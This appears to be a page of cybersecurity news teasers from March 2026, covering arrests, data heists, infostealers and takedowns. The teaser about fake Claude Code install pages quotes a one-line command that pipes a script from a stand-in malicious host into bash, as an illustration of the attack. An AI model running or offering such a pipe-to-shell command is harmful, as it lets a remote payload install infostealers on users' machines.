- Polish cops bust alleged teen DDoS kit sellers – youngest just 12
March 10, 2026
Polish police have referred seven suspected juvenile cybercriminals to family court over an alleged scheme to flog DDoS kits online. The youths, aged between 12 and 16 at the time of the alleged offenses, all face charges related to selling DDoS tools in what police described as a purely profit-driven scheme. Poland’s Central Bureau for Combating ...
- ShinyHunters claims more high-profile victims in latest Salesforce customers data heist
March 9, 2026
ShinyHunters told The Register that it has stolen data from about 100 high-profile companies in its latest Salesforce customer data heist, including Salesforce itself. “Have stolen data from almost 400 websites and about 100 essential high profile companies Snowflake, Okta, Lastpass, Salesforce itself, Sony, AMD, and a lot more,” a ShinyHunters spokesperson told us, adding ...
- Fake Claude Code install pages hit Windows and Mac users with infostealers
March 9, 2026
Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments. Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the ...
- New BoryptGrab Stealer Targets Windows Users via Deceptive GitHub Pages
March 5, 2026
Trend Micro researchers recently found the existence of a new stealer binary that collects browser and cryptocurrency wallet data, system information, and common files, among others. The researchers designated this new stealer BoryptGrab. Certain variants of the stealer can download a PyInstaller backdoor, which Trend Micro refer to as TunnesshClient. TunnesshClient establishes a reverse Secure Shell ...
- Microsoft warns of new signed malware which deploys remote monitoring tools as backdoors
March 5, 2026
Microsoft is warning of a new phishing campaign which aims to deploy persistent backdoors to victim’s computers. In a new in-depth analysis, the company’s researchers said they recently spotted multiple phishing campaigns, currently not attributed to any known threat actors, which send out emails with weaponized PDF files (financial documents, invoices), fake meeting invitations, or organizational ...
- Taiwan Indicts 62 Over Laundering $339M From Crypto Scam Compounds in Cambodia
March 4, 2026
Taiwanese prosecutors have indicted 62 people over their alleged links to Prince Group, a network designated as a transnational criminal organization by the U.S. Department of Justice. According to a report by Reuters, those indicted include the group’s chairman and alleged mastermind Chen Zhi, who was arrested in Cambodia and extradited to China earlier this year.Thirteen ...
- ‘Hundreds’ of Iranian hacking attempts have hit surveillance cameras since the missile strikes
March 4, 2026
Multiple Iranian hacking crews have been targeting internet-connected surveillance cameras across Israel and other Middle Eastern countries since the war started on February 28, according to Check Point security researchers. The Tel Aviv-based security shop has tracked “hundreds” of attempts to exploit a handful of bugs in IP cameras made by two manufacturers, Hikvision and Dahua, ...
- Major data leak forum dismantled in global action against cybercrime forum
March 4, 2026
A major online forum for stolen data has been dismantled following an international operation coordinated by Europol. The forum, known as LeakBase, had established itself as a central hub in the cybercrime ecosystem, specialising in the trade of leaked databases and so-called “stealer logs” – archives of stolen credentials harvested through infostealer malware. Accessible on the ...
- CIMB refutes claims of data breach involving 1.2 million records
March 4, 2026
CIMB Group Holdings Bhd has given assurance that claims circulating online about a data breach involving its customers are false and that customer data continues to be protected. The financial services provider said on social media platform X that its security teams have verified that all systems are secure and that customer data remains fully safeguarded. ...
- Europol, Microsoft, TrendAI and Collaborators Halt Tycoon 2FA Operations
March 4, 2026
Researchers from TrendAI have been tracking the infrastructure, as well as the campaigns and operator behaviors that can be linked to Tycoon 2FA to build a clearer picture of how its services was being used at scale. By November 2025, TrendAI had collected enough data to link the operation to an actor using the monikers “SaaadFridi” ...